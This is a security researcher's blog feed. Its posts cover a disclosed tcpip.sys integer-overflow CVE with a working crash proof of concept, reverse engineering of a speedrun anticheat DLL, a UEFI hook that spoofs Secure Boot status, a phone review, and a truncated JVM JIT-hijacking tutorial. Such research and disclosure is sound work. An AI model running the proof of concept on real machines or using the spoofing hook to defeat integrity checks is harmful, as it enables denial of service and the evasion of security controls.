<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>April Ivy&apos;s Writing</title>
    <link>https://aprl.pet/writing</link>
    <description>Writing by April Ivy about Java, reverse engineering, compilers, security research, and low-level systems.</description>
    <language>en-gb</language>
    <lastBuildDate>Fri, 17 Jul 2026 12:00:00 GMT</lastBuildDate>
    <atom:link href="https://aprl.pet/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>How I found an integer overflow in tcpip.sys (CVE-2026-58532)</title>
      <link>https://aprl.pet/writing/cve-2026-58532</link>
      <guid isPermaLink="true">https://aprl.pet/writing/cve-2026-58532</guid>
      <pubDate>Fri, 17 Jul 2026 12:00:00 GMT</pubDate>
      <description>Finding and reporting an integer overflow in the Windows tcpip.sys driver.</description>
      <category>reverse engineering</category>
      <category>windows</category>
      <category>security</category>
      <category>vulnerability research</category>
      <content:encoded><![CDATA[<h1>How I found an integer overflow in tcpip.sys</h1>
<p>Or, why <code>count * size</code> needs checking too</p>
<p>Earlier this year, I found an integer overflow in <code>tcpip.sys</code>, Windows&#39; network driver. It was fixed in the July 2026 security update and is now <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532">CVE-2026-58532</a>.</p>
<p>I was originally interested in poking around <code>tcpip.sys</code> after reading another researcher&#39;s write-up on an RCE in the driver caused by a similar bug. It made me curious about the less obvious parsing and deserialisation paths in the networking stack, which is how I ended up looking at ALE redirect records.</p>
<p>This is a pretty simple bug at its core. A 64-bit count is multiplied by the size of a record, the result wraps, and a bounds check suddenly stops meaning anything. Unfortunately, that happens in a kernel deserialiser that then starts allocating and copying records it was never actually given.</p>
<h2>The path</h2>
<p>The entry point is <code>SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS</code>, a Winsock socket control operation passed to <code>WSAIoctl</code>.</p>
<p>That goes through the WFP ALE handling code in <code>tcpip.sys</code> and eventually lands in <code>AleRedirectRecordsDeserializeFromBuffer</code>. The input starts with a 64-bit record count followed by serialised redirect records. Each record is <code>0x228</code> bytes.</p>
<p>This is the call chain from the crash I captured:</p>
<pre><code class="language-text">tcpip!AleRedirectRecordsDeserializeFromBuffer+0x18d
tcpip!WfpAleProcessSocketOption+0x273
tcpip!InetInspectSocketOption+0x60
tcpip!TcpSetSockOptEndpoint+0xc75
afd!AfdTLIoControl+0x986
WS2_32!WSAIoctl+0x182
</code></pre>
<h2>The bug</h2>
<p>Before it starts deserialising records, the function checks that the buffer is large enough for the number of records it was told about. The relevant check is basically this:</p>
<pre><code class="language-c">count * 0x228 &lt;= remainingLength
</code></pre>
<p>Looks fine, right? Except <code>count</code> is user-controlled and the multiplication is unsigned 64-bit arithmetic with no overflow check.</p>
<p>The count I used was <code>0x2000000000000000</code>.</p>
<pre><code class="language-text">0x2000000000000000 * 0x228 = 0x45 * 2^64
</code></pre>
<p>So, in a 64-bit register, the result is just zero. <code>0 &lt;= remainingLength</code> is true for basically any buffer, including the tiny 16-byte one in the proof of concept.</p>
<p>The check passes, even though the count claims there are an absurd number of <code>0x228</code>-byte records waiting to be read.</p>
<h2>What happens next</h2>
<p>The interesting part is that the bad multiplication is only the start of it. After the check succeeds, the function believes the records are there and starts processing them.</p>
<p>This is the important part of the routine, cleaned up a bit so it is readable:</p>
<pre><code class="language-c">uint64_t recordCount = *(uint64_t *)input;

if (recordCount * 0x228 &gt; remainingLength)
    return STATUS_INVALID_PARAMETER;

while (recordCount != 0) {
    record = allocate_pool(0x228, &#39;AlcR&#39;);
    copy_memory(record, input, 0x228);

    input += 0x228;
    remainingLength -= 0x228;
    recordCount--;

    variableLength = *(uint32_t *)((uint8_t *)record + 0x1e8);
    /* More allocation and copy work happens from here. */
}
</code></pre>
<p>The first <code>0x228</code>-byte copy reads past the end of the input. Then <code>remainingLength</code> underflows, which means later bounds checks are now working with something close to <code>ULONGLONG_MAX</code> instead of the actual number of bytes left.</p>
<p>There is also a variable-length field around offset <code>0x1e8</code> in the copied record. Later code uses the deserialised record to drive more allocation and copy operations, so this is much more than a harmless arithmetic mistake.</p>
<h2>The PoC</h2>
<p>This is the proof of concept I submitted:</p>
<pre><code class="language-text">cl /W4 poc_ale_redirect_overflow.c ws2_32.lib
</code></pre>
<pre><code class="language-c">#include &lt;winsock2.h&gt;
#include &lt;ws2tcpip.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdint.h&gt;

#pragma comment(lib, &quot;ws2_32.lib&quot;)

#define SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS 0x980000DEu

int main(void)
{
    WSADATA wsa;
    SOCKET sock;
    DWORD ret = 0;

    WSAStartup(MAKEWORD(2, 2), &amp;wsa);

    sock = WSASocketW(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    if (sock == INVALID_SOCKET) {
        printf(&quot;socket failed: %d\n&quot;, WSAGetLastError());
        return 1;
    }

    uint8_t buf[16] = {0};
    *(uint64_t *)buf = 0x2000000000000000ULL;

    WSAIoctl(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,
             buf, sizeof(buf), NULL, 0, &amp;ret, NULL, NULL);

    printf(&quot;returned %d\n&quot;, WSAGetLastError());
    closesocket(sock);
    WSACleanup();
    return 0;
}
</code></pre>
<p>That is it. Make a socket, give the control operation a 16-byte buffer, and set the first eight bytes to the overflowing count.</p>
<p>On a vulnerable build, the system bug checks. In my crash, the fault showed up during cleanup through <code>tcpip!WfpAleDecrementWaitRef</code>, after <code>AleRedirectRecordsDeserializeFromBuffer</code> had already processed the malformed input.</p>
<h2>The serialiser was doing it properly</h2>
<p>What made this especially nice to analyse was the matching serialisation code. It uses checked arithmetic while calculating the output size, including explicit overflow handling when it adds sizes together.</p>
<p>The deserialiser did not do the equivalent thing for <code>count * 0x228</code> before using that result as a bounds check. One direction of the format was careful, the other was not.</p>
<p>The fix for this kind of bug is simple. Either use checked multiplication or avoid the multiplication entirely:</p>
<pre><code class="language-c">if (count &gt; remainingLength / 0x228)
    return STATUS_INVALID_PARAMETER;
</code></pre>
<h2>Disclosure</h2>
<p>I reported this to MSRC on 20 April 2026. Microsoft later confirmed the behaviour, classified it as an elevation of privilege vulnerability, and fixed it in the July 2026 security updates.</p>
<p>The CVE is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532">CVE-2026-58532</a>, and Microsoft acknowledged me as <code>aprilpet</code>. There is also an <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-58532">NVD entry</a>.</p>
<h2>TL;DR</h2>
<ul>
<li><code>tcpip.sys</code> trusted a user-controlled 64-bit record count.</li>
<li>it multiplied that count by <code>0x228</code> without checking for overflow.</li>
<li>the product wrapped to zero, so a tiny buffer passed the size check.</li>
<li>the deserialiser then copied records that did not exist and underflowed its remaining-length counter.</li>
</ul>
<p>Checked arithmetic is boring, but not having it is even more boring when it is in a kernel parser.</p>
]]></content:encoded>
    </item>
    <item>
      <title>1 Year with the Pixel 9 Pro</title>
      <link>https://aprl.pet/writing/my-pixel-1-year-later</link>
      <guid isPermaLink="true">https://aprl.pet/writing/my-pixel-1-year-later</guid>
      <pubDate>Mon, 04 May 2026 12:00:00 GMT</pubDate>
      <description>How I feel about my Google Pixel 9 Pro after one year of use.</description>
      <category>tech</category>
      <category>android</category>
      <category>review</category>
      <content:encoded><![CDATA[<h1>1 Year with the Pixel 9 Pro</h1>
<p>It has been a year since I got my Pixel 9 Pro, and I still love it. I wrote about my <a href="https://aprl.pet/writing/my-pixel-9-pro">first impressions</a> last year, so this feels like a good time to revisit it now that I have actually lived with the phone for a while.</p>
<h2>The camera</h2>
<p>The camera is still incredible. I have taken countless photos over the past year and it has not let me down once. These are a few recent ones I am especially happy with:</p>
<p><img src="https://aprl.pet/assets/PXL_20260428_182207720.RAW-01.jpg" alt="A photograph taken with the Pixel 9 Pro">
<img src="https://aprl.pet/assets/PXL_20260428_183644643.LONG_EXPOSURE-01.jpg" alt="A long-exposure photograph taken with the Pixel 9 Pro">
<img src="https://aprl.pet/assets/PXL_20260428_184242151.LONG_EXPOSURE-01.jpg" alt="A second long-exposure photograph taken with the Pixel 9 Pro">
<img src="https://aprl.pet/assets/PXL_20260428_191839767.RAW-01.jpg" alt="A photograph taken with the Pixel 9 Pro">
<img src="https://aprl.pet/assets/PXL_20260430_114536927.RAW-01.jpg" alt="A photograph taken with the Pixel 9 Pro"></p>
<p>The long-exposure mode has been particularly fun to play around with :3</p>
<h2>Android</h2>
<p>Being able to use things such as ReVanced and generally tinker with the phone has been great. It is one of the things I missed most while using an iPhone, and it remains one of my favourite parts of Android. I do not think I could go back.</p>
<h2>Battery and performance</h2>
<p>Battery life is still fantastic. Even with heavy use, I usually finish the day with a comfortable amount left. Performance is generally good too, although Firefox and a few other browsers can occasionally become laggy. It is annoying, but not annoying enough to spoil the phone.</p>
<h2>The one regret</h2>
<p>I should have bought the version with more storage. RAW photographs are enormous, and space has become more of a problem as the year has gone on. If you are considering one and expect to use the camera heavily, get the higher-capacity model.</p>
<h2>Durability</h2>
<p>I have cracked it a few times because I am an idiot :&#39;) My dbrand case and screen protector have genuinely prevented it from ending up in a much worse state, so both have been well worth buying.</p>
<h2>Final thoughts</h2>
<p>A year later, my only real complaints are the storage situation and occasional browser lag. I will be sticking with Android, and when it is eventually time to upgrade, I will probably just buy the next Pixel.</p>
<p>Thanks for reading :3</p>
]]></content:encoded>
    </item>
    <item>
      <title>Reversing mcsrfairplay&apos;s Native Module</title>
      <link>https://aprl.pet/writing/reversing-mcsrfairplay</link>
      <guid isPermaLink="true">https://aprl.pet/writing/reversing-mcsrfairplay</guid>
      <pubDate>Sun, 03 May 2026 12:00:00 GMT</pubDate>
      <description>Reversing fairplay_lib_x64.dll, the native behind mcsrfairplay, the Minecraft speedrun integrity mod.</description>
      <category>reverse engineering</category>
      <category>jni</category>
      <category>windows</category>
      <category>java</category>
      <content:encoded><![CDATA[<h1>Reversing mcsrfairplay&#39;s Native Module</h1>
<p><a href="https://github.com/ExeRSolver/mcsr-fairplay-public">mcsrfairplay</a> is the mod used for Minecraft Java Edition speedruns for ensuring integrity. It ships a native DLL (<code>fairplay_lib_x64.dll</code>) that does a bit of the monitoring work, and I was curious how deep it went so I loaded it up in Ghidra.</p>
<p>The Java side uses XOR encrypted strings and I/l lookalike class names like <code>IIIIIlI</code>, <code>lIlIlII</code>. Not that interesting, you just find every <code>invokestatic</code> to the decryptor and replay the XOR to get the real strings. The native component is where it gets fun :3</p>
<h2>The Obfuscation</h2>
<p>The first thing you notice is every function has the same weird dead code pattern throughout it:</p>
<pre><code class="language-c">bVar8 = ((DAT_180061758 + -1) * DAT_180061758 &amp; 1U) == 0;
if ((DAT_18006175c &gt;= 10 || !bVar8) &amp;&amp; (DAT_18006175c &lt; 10 == bVar8))
    goto LAB_180005915;  // never taken
while (true) {
    BCryptOpenAlgorithmProvider(
        (BCRYPT_ALG_HANDLE *)(lVar1 + 0x10), L&quot;SHA512&quot;, (LPCWSTR)0x0, 0);
    bVar8 = ((DAT_180061760 + 1) * DAT_180061760 &amp; 1U) == 0;
    if ((DAT_180061764 &lt; 10 &amp;&amp; bVar8) || (DAT_180061764 &lt; 10 != bVar8)) break;  // always breaks
}
</code></pre>
<p><code>(n-1)*n</code> and <code>(n+1)*n</code> are always even so <code>&amp; 1</code> is always <code>0</code>. The branch conditions are constant at runtime, the whole <code>goto</code> / <code>while (true)</code> structure is just there to duplicate blocks and confuse the decompiler. Once you know what to look for you can skip past it every time and get to the real code.</p>
<h2>What It Does</h2>
<p>There are five exports: <code>JNI_OnLoad</code>, <code>NativeCallback_a</code>, <code>NativeCallback_b</code>, <code>NativeCallback_c</code>, and <code>entry</code>. <code>JNI_OnLoad</code> sets up a critical section to guard a global module hash map, caches a Java callback method (<code>j</code> on class <code>exersolver/mcsrfairplay/natives/NativeCallback</code>, one character presumably to be less obvious), and installs MinHook on <code>LoadLibraryW</code> and <code>LoadLibraryA</code> to catch any DLLs loaded after startup.</p>
<p><code>NativeCallback_a</code> then spawns a thread that does a one-shot snapshot of every module already in the process via Toolhelp32:</p>
<pre><code class="language-c">snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
Module32FirstW(snap, &amp;me32);
do {
    result = FUN_180010470(me32.szExePath);
    // acquire mutex, insert into hash map, release
    // call NativeCallback.j() with result
} while (Module32NextW(snap, &amp;me32));
CloseHandle(snap);
</code></pre>
<p><code>FUN_180010470</code> is the interesting part. It builds a 6-field record for each module covering the path, SHA-512 hash, PE metadata, creation timestamp, last-write timestamp, and <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/authenticode">Authenticode</a> status. The SHA-512 is computed via BCrypt:</p>
<pre><code class="language-c">// this is the part that matters, everything else is obfuscation scaffolding
BCryptOpenAlgorithmProvider(hAlg, L&quot;SHA512&quot;, NULL, 0);
BCryptCreateHash(hAlg, &amp;hHash, pbHashObject, cbHashObject, NULL, 0, 0);
BCryptHashData(hHash, pbData, cbData, 0);  // hash the file on disk
BCryptFinishHash(hHash, pbOutput, cbOutput, 0);
</code></pre>
<p>The reason this is significant is that it is hashing the actual file on disk. If you swap out or patch a DLL on disk, the hash won&#39;t match what was recorded at startup and the run gets flagged.</p>
<p>Timestamps come from a helper that takes a flag to switch between creation time and last-write time:</p>
<pre><code class="language-c">hFile = CreateFileW(param_2, 0x80000000, 1, NULL, 3, 0, NULL);

p_Var9 = (LPFILETIME)(*plVar5 + 0x110);  // lpCreationTime
p_Var6 = (LPFILETIME)0x0;
if (param_3 == &#39;\0&#39;) {
    p_Var9 = p_Var6;
    p_Var6 = &amp;local_3c8;                 // lpLastWriteTime instead
}
GetFileTime(hFile, p_Var9, NULL, p_Var6);  // the actual read we care about

// formatting, not that interesting
FileTimeToLocalFileTime((FILETIME *)(lVar2 + 0x110), (LPFILETIME)(*plVar5 + 0x10));
FileTimeToSystemTime((FILETIME *)(lVar2 + 0x10), (LPSYSTEMTIME)(*plVar5 + 0x10));

uVar1 = *(uint *)(*plVar5 + 0x88);  // CERT_TRUST_STATUS.dwErrorStatus
switch (((uVar1 ^ 0xffffffdd) &amp; uVar1) == 2) { }  // cert trust check
</code></pre>
<p>That cert check at the end is interesting, <code>((uVar1 ^ 0xffffffdd) &amp; uVar1) == 2</code> is testing specific bits in <code>dwErrorStatus</code>. <code>0xffffffdd</code> flips bits 1 and 5, so it is essentially checking for <code>CERT_TRUST_NO_SIGNATURE</code>. The Authenticode strings (<code>[Signed]</code>, <code>[Unsigned]</code>, <code>[Hash Failed: ...]</code>) come from <code>WinVerifyTrust</code> which is not in the static import table and is resolved dynamically via <code>GetProcAddress</code>, which is why Ghidra shows no xrefs to it.</p>
<p><code>NativeCallback_b</code> and <code>_c</code> are a nice little trick. <code>_b</code> copies a Java byte array into a native global buffer:</p>
<pre><code class="language-c">iVar2 = (**(code **)(*param_1 + 0x558))(param_1, param_3);      // GetArrayLength
puVar3 = (**(code **)(*param_1 + 0x5c0))(param_1, param_3, 0); // GetByteArrayElements

if ((ulonglong)(DAT_1800615c0 - DAT_1800615b0) &lt; uVar4) {
    FUN_18001e740(&amp;DAT_1800615b0, uVar4);  // resize if needed
}
FUN_180025080(DAT_1800615b0, puVar3, uVar4);  // memcpy into native buffer
DAT_1800615b8 = (longlong)puVar1 + uVar4;
(**(code **)(*param_1 + 0x600))(param_1, param_3, puVar3, 2);  // ReleaseByteArrayElements
</code></pre>
<p><code>_c</code> then takes another byte array and compares it against what is stored there. The Java side generates a nonce with <code>SecureRandom</code>, stores it in native via <code>_b</code>, then a daemon thread named <code>FairPlay-Native</code> periodically calls <code>_c</code> with the same bytes. Mismatch logs <code>heartbeatError</code>. If you patch the native buffer in memory the nonce no longer matches and it fires.</p>
<p>The Java callback <code>NativeCallback.j()</code> gets the 6-field record and checks if the module is already in a <code>HashSet</code> of seen paths, then checks the filename against a whitelist of prefixes: <code>jna</code>, <code>native_fairplay_lib</code>, <code>liblogger</code>, <code>libjcocoa</code>, <code>JNativeHook</code>. If it is new and not whitelisted it gets logged and reported back to the mcsrfairplay backend:</p>
<pre><code>moduleLoaded &lt;base64(path)&gt; &lt;filename&gt; &lt;base64(authenticode_status)&gt; &lt;sha512_hex&gt;
</code></pre>
<p>Path and signature are base64 encoded since they contain spaces. The run can then be flagged as potentially compromised on the backend side. Every DLL that touches the process gets a full fingerprint, the <code>LoadLibrary</code> hooks catch injections in real time, the startup snapshot catches anything preloaded, and the heartbeat makes in-memory patching detectable. It&#39;s okay for a basic anticheat ..</p>
<p>Thanks for reading :3</p>
]]></content:encoded>
    </item>
    <item>
      <title>Spoofing Secure Boot on Windows</title>
      <link>https://aprl.pet/writing/spoofing-secure-boot</link>
      <guid isPermaLink="true">https://aprl.pet/writing/spoofing-secure-boot</guid>
      <pubDate>Sat, 02 May 2026 12:00:00 GMT</pubDate>
      <description>Tricking windows into thinking I have secure boot on.</description>
      <category>reverse-engineering</category>
      <category>windows</category>
      <category>uefi</category>
      <category>internals</category>
      <category>security</category>
      <content:encoded><![CDATA[<h1>Spoofing Secure Boot on Windows</h1>
<h2>Background</h2>
<p>Windows works out Secure Boot status by reading EFI variables during boot. <code>winload.efi</code> reads the <code>SecureBoot</code> and <code>SetupMode</code> variables, and if <code>SecureBoot == 1</code> and <code>SetupMode == 0</code>, it sets the kernel global <code>nt!SeSecureBoot</code> accordingly. Everything downstream reads from this, <code>NtQuerySystemInformation(SystemSecureBootInformation)</code>, <code>ExGetFirmwareEnvironmentVariable</code>, usermode <code>GetFirmwareEnvironmentVariable</code>, all of it.</p>
<p>So the question was, can you intercept that read before Windows even sees it?</p>
<h2>The Hook</h2>
<p>UEFI exposes a <code>RuntimeServices</code> table, a set of function pointers that persist from firmware all the way into the OS. One of those is <code>GetVariable</code>, which is how any UEFI aware code reads EFI variables. Because it is just a pointer in a table, you can swap it from an EFI driver before ExitBootServices, and it stays swapped.</p>
<p>So that is exactly what I did. Hook <code>RuntimeServices-&gt;GetVariable</code>, intercept calls for <code>SecureBoot</code> and <code>SetupMode</code>, and return what Windows expects to see on a real Secure Boot system.</p>
<pre><code class="language-rust">unsafe extern &quot;efiapi&quot; fn hooked_get_variable(
    variable_name: *const u16,
    vendor_guid: *const Guid,
    ...,
) -&gt; Status {
    if cmp_name(variable_name, SECURE_BOOT_NAME) &amp;&amp; *vendor_guid == EFI_GLOBAL_VARIABLE {
        *data = 1;
        return Status::SUCCESS;
    }
    if cmp_name(variable_name, SETUP_MODE_NAME) &amp;&amp; *vendor_guid == EFI_GLOBAL_VARIABLE {
        *data = 0;
        return Status::SUCCESS;
    }
    ORIG_GET_VARIABLE(variable_name, vendor_guid, ...)
}
</code></pre>
<p>Anything that is not one of those two variables falls through to the real firmware function, so nothing else breaks.</p>
<h2>Finding the Call Chain in Ghidra</h2>
<p>To work out exactly what winload reads and when, I loaded <code>winload.efi</code> into Ghidra and traced down to <code>SbIsEnabled2</code>, which is the function that decides whether Secure Boot is considered active. Here is the actual decompiled output:</p>
<pre><code class="language-c">undefined8 SbIsEnabled2(undefined8 param_1, undefined1 *param_2)
{
    int iVar1;
    char local_res10 [8];  // SecureBoot value
    char local_res18 [8];  // SetupMode value
    undefined8 local_res20;

    if (DAT_1803115ff == &#39;\0&#39;) {  // only runs once, result is cached
        local_res10[0] = &#39;\0&#39;;
        local_res18[0] = &#39;\x01&#39;;
        local_res20 = 1;

        // read SetupMode first, bail out entirely if it fails
        iVar1 = FUN_1800460fc(L&quot;SetupMode&quot;, &amp;DAT_1802bf4c8, 0, &amp;local_res20, local_res18);
        if (-1 &lt; iVar1) {
            local_res20 = 1;

            // read SecureBoot only if SetupMode succeeded
            iVar1 = FUN_1800460fc(L&quot;SecureBoot&quot;, &amp;DAT_1802bf4c8, 0, &amp;local_res20, local_res10);

            // SecureBoot must be 1 AND SetupMode must be 0
            if (((-1 &lt; iVar1) &amp;&amp; (DAT_1803388d0 = DAT_1803388d0 | 8, local_res10[0] == &#39;\x01&#39;)) &amp;&amp;
               (local_res18[0] == &#39;\0&#39;)) {
                DAT_180311644 = 1;  // cached secure boot state, everything else reads this
            }
        }
        DAT_1803115ff = &#39;\x01&#39;;  // mark as initialised
    }
    *param_2 = DAT_180311644;
    return 0;
}
</code></pre>
<p>And <code>FUN_1800460fc</code> is the actual <code>GetVariable</code> wrapper it calls:</p>
<pre><code class="language-c">void FUN_1800460fc(undefined8 param_1, undefined8 param_2, undefined4 *param_3,
                   undefined8 param_4, undefined8 param_5)
{
    int iVar1;
    undefined8 uVar2;
    undefined4 local_res18 [4];
    undefined8 local_48;
    undefined8 local_40;
    undefined8 local_38 [2];

    local_res18[0] = 0;
    local_48 = 0;
    local_40 = 0;
    local_38[0] = 0;

    iVar1 = FUN_180043518();  // check current TPL (task priority level)
    if ((iVar1 != 1) &amp;&amp; (DAT_180351b90 != 0)) {
        // virtual address fixups for runtime mode
        FUN_1801ce4a4(param_5, &amp;local_48, 0);
        param_5 = local_48;
        FUN_1801ce4a4(param_1, &amp;local_40, 0);
        param_1 = local_40;
        FUN_1801ce4a4(param_2, local_38, 0);
        param_2 = local_38[0];
        FUN_180043458(1);
    }

    // actual GetVariable call into the runtime services table
    // this is where our hook intercepts
    uVar2 = thunk_FUN_1802a9020(param_1, param_2, local_res18, param_4, param_5);

    if (iVar1 != 1) {
        FUN_180043458(iVar1);  // restore TPL
    }
    if (param_3 != (undefined4 *)0x0) {
        *param_3 = local_res18[0];  // write attributes back to caller if requested
    }
    FUN_180046c54(uVar2);  // status check
    return;
}
</code></pre>
<p><code>thunk_FUN_1802a9020</code> is where it actually calls into the runtime services table, so that is where the hook sits and intercepts before the real firmware ever sees the request.</p>
<p>Some thigns that stand out from <code>SbIsEnabled2</code> are, It reads <code>SetupMode</code> first and only bothers reading <code>SecureBoot</code> if that succeeded. Then it requires <code>SecureBoot == 1</code> AND <code>SetupMode == 0</code> before setting the cached state. So you have to spoof both variables, not just <code>SecureBoot</code>. My first attempt only spoofed <code>SecureBoot</code> and used the wrong GUID on top of that, so nothing worked and I had no idea why :&#39;)</p>
<p>Pretty neat for what is essentially just a pointer swap :3</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hijacking the VM&apos;s JIT</title>
      <link>https://aprl.pet/writing/hijacking-the-vm-jit</link>
      <guid isPermaLink="true">https://aprl.pet/writing/hijacking-the-vm-jit</guid>
      <pubDate>Thu, 18 Dec 2025 12:00:00 GMT</pubDate>
      <description>Exploring how HotSpot&apos;s JIT trusts compiled code, and how we can abuse that</description>
      <category>jvm</category>
      <category>java</category>
      <category>internals</category>
      <category>security</category>
      <category>reverse engineering</category>
      <content:encoded><![CDATA[<h1>Hijacking the VM&#39;s JIT</h1>
<p>Have you ever wondered what happens after HotSpot compiles a hot method to native code? This post explores a silly little trust assumption in the JVM: once code has been JIT-compiled, the VM does not verify that it still matches the bytecode. We can use that to make a Java method do whatever we want :3</p>
<h2>The Trust Model</h2>
<p>When you write Java code, it goes through several stages before actually executing. Your <code>.java</code> files compile to bytecode, which the JVM initially interprets. Once a method gets &quot;hot&quot; (called frequently enough), HotSpot&#39;s JIT compiler kicks in and generates native machine code for your platform</p>
<p>Here is the interesting part. After compilation, the JVM stores a pointer from the method&#39;s internal structure to the compiled code and just... trusts it. There is no integrity check to confirm that the native code still corresponds to the original bytecode.</p>
<h2>Setting Up Our Target</h2>
<p>First, we need a method that&#39;ll definitely get JIT compiled. Something expensive enough to trigger compilation but simple enough to understand:</p>
<pre><code class="language-java">public class Main {
    public static void main(String[] args) throws InterruptedException {
        System.out.println(&quot;Starting JIT hijack demo...&quot;);
        System.out.println(&quot;Warming up JIT...&quot;);
        
        for (int i = 0; i &lt; 20000; i++) {
            expensiveMethod(67);
        }
        
        System.out.println(&quot;JIT compiled. Running...\n&quot;);
        
        int callCount = 0;
        int lastResult = 0;
        
        while (true) {
            int result = expensiveMethod(67);
            callCount++;
            
            if (result != lastResult) {
                System.out.println(&quot;[!] Result changed: &quot; + lastResult + &quot; -&gt; &quot; + result);
                lastResult = result;
            }
            
            if (callCount % 500 == 0) {
                System.out.println(&quot;[&quot; + callCount + &quot; calls] expensiveMethod(67) = &quot; + result);
            }
            
            Thread.sleep(10);
        }
    }

    public static int expensiveMethod(int x) {
        int acc = x;
        for (int i = 0; i &lt; 1000; i++) {
            acc ^= (acc &lt;&lt; 3) + i;
            acc = Integer.rotateLeft(acc, 7);
        }
        return acc;
    }
}
</code></pre>
<p>The loop runs 1000 iterations with bit manipulation, enough to be &quot;expensive&quot; and trigger JIT compilation quickly. We&#39;re also printing the result periodically so we can see when our hijack works !!</p>
<p>Run it with the following flags:</p>
<pre><code class="language-bash">java -XX:+PrintCompilation -XX:CompileCommand=dontinline,ivy/april/Main.expensiveMethod -cp build/classes/java/main ivy.april.Main
</code></pre>
<p>The <code>-XX:+PrintCompilation</code> flag shows us when methods get compiled, and <code>dontinline</code> prevents HotSpot from inlining our target method into <code>main()</code>, which would make it more annoying to find</p>
<p>You&#39;ll see output like this as HotSpot compiles our method:</p>
<pre><code>  1000  117 %     3       ivy.april.Main::expensiveMethod @ 4 (34 bytes)
  1030  118       3       ivy.april.Main::expensiveMethod (34 bytes)
  1646  119 %     4       ivy.april.Main::expensiveMethod @ 4 (34 bytes)
  1788  120       4       ivy.april.Main::expensiveMethod (34 bytes)
</code></pre>
<p>The <code>%</code> means it&#39;s an OSR (on-stack replacement) compilation, and the numbers 3 and 4 are compilation tiers. Tier 4 is C2, the optimising compiler</p>
<h2>Understanding HotSpot&#39;s Internal Structures</h2>
<p>Before we can hijack anything, we need to understand how HotSpot organises compiled code. There are three key structures.</p>
<h3>Method*</h3>
<p>This is HotSpot&#39;s internal representation of a Java method. It lives in Metaspace and contains everything the VM needs to know about a method: its bytecode, access flags, constant-pool references, and, most importantly, a <code>_code</code> field that points to the compiled native code.</p>
<p>Looking at <code>src/hotspot/share/oops/method.hpp</code>, we can see the following fields:</p>
<pre><code class="language-cpp">// Entry point for calling from compiled code, to compiled code if it exists
// or else the interpreter.
volatile address _from_compiled_entry;     // Cache of: _code ? _code-&gt;entry_point() : _adapter-&gt;c2i_entry()
// The entry point for calling both from and to compiled code is
// &quot;_code-&gt;entry_point()&quot;.  Because of tiered compilation and de-opt, this
// field can come and go.  It can transition from null to not-null at any
// time (whenever a compile completes).  It can transition from not-null to
// null only at safepoints (because of a de-opt).
nmethod* volatile _code;                   // Points to the corresponding piece of native code
</code></pre>
<p>When a method is only being interpreted, <code>_code</code> is null. Once JIT compilation happens, this pointer gets set to the newly created <code>nmethod</code>. Notice the comment, the VM knows this field &quot;can come and go&quot; but there&#39;s no integrity checking!</p>
<h3>nmethod</h3>
<p>The <code>nmethod</code> structure represents a compiled method in the CodeCache. It is defined in <code>src/hotspot/share/code/nmethod.hpp</code> and contains the machine code, garbage-collection metadata, deoptimisation information, exception-handling tables, and references back to the <code>Method*</code>.</p>
<p>The structure has entry points that the VM jumps to when calling the method:</p>
<pre><code class="language-cpp">// offsets for entry points
address  _osr_entry_point;       // entry point for on stack replacement
uint16_t _entry_offset;          // entry point with class check
uint16_t _verified_entry_offset; // entry point without class check
</code></pre>
<p>And there&#39;s helper methods to get the actual addresses:</p>
<pre><code class="language-cpp">address entry_point() const          { return code_begin() + _entry_offset;          } // normal entry point
address verified_entry_point() const { return code_begin() + _verified_entry_offset; }   // if klass is correct
</code></pre>
<p>The <code>verified_entry_point</code> is what gets called when the VM already knows the receiver type is correct, this is usually the one we care about for static methods</p>
<h3>CodeCache</h3>
<p>All compiled code lives in a special region of memory called the CodeCache. It&#39;s executable memory managed by the JVM, separate from the Java heap. You can see its bounds with <code>-XX:+PrintCodeCache</code></p>
<h2>Finding Our Target</h2>
<p>I used HSDB (HotSpot Debugger) to locate our compiled method. After attaching to the running JVM process with <code>jhsdb hsdb</code>, I navigated to the Class Browser and found <code>ivy.april.Main</code>:</p>
<pre><code>public class ivy.april.Main @0x000001e663000800
  Methods:
  * public static int expensiveMethod(int) @0x000001e6a3400458
</code></pre>
<p>That <code>@0x000001e6a3400458</code> is our <code>Method*</code> pointer. Clicking on it reveals more details, including the compiled code:</p>
<pre><code>Compiled Code:
[Entry Point] [Verified Entry Point] 0x000001e64d1e39a0: sub $0x18,%rsp
</code></pre>
<p>So we have:</p>
<ul>
<li><strong>Method*</strong> at <code>0x000001e6a3400458</code></li>
<li><strong>nmethod</strong> at <code>0x000001e64d1e3810</code></li>
<li><strong>Entry point</strong> at <code>0x000001e64d1e39a0</code></li>
</ul>
<h2>Analysing the Compiled Code</h2>
<p>Let&#39;s look at what HotSpot actually generated. Here&#39;s the beginning of the compiled <code>expensiveMethod</code>:</p>
<pre><code class="language-asm">0x000001e64d1e39a0:    sub    rsp, 0x18
0x000001e64d1e39a7:    mov    qword ptr [rsp+0x10], rbp
0x000001e64d1e39ac:    cmp    dword ptr [r15+0x20], 1
0x000001e64d1e39b4:    jne    0x000001e64d1e3b25
0x000001e64d1e39ba:    lea    r10d, [rdx*8]
0x000001e64d1e39c2:    xor    r10d, edx
0x000001e64d1e39c5:    rorx   eax, r10d, 0x19
</code></pre>
<p>Let&#39;s break this down!</p>
<p><strong>Stack frame setup:</strong></p>
<pre><code class="language-asm">sub    rsp, 0x18                  ; Allocate 24 bytes of stack space
mov    qword ptr [rsp+0x10], rbp  ; Save frame pointer
</code></pre>
<p><strong>Safepoint poll:</strong></p>
<pre><code class="language-asm">cmp    dword ptr [r15+0x20], 1    ; Check safepoint state
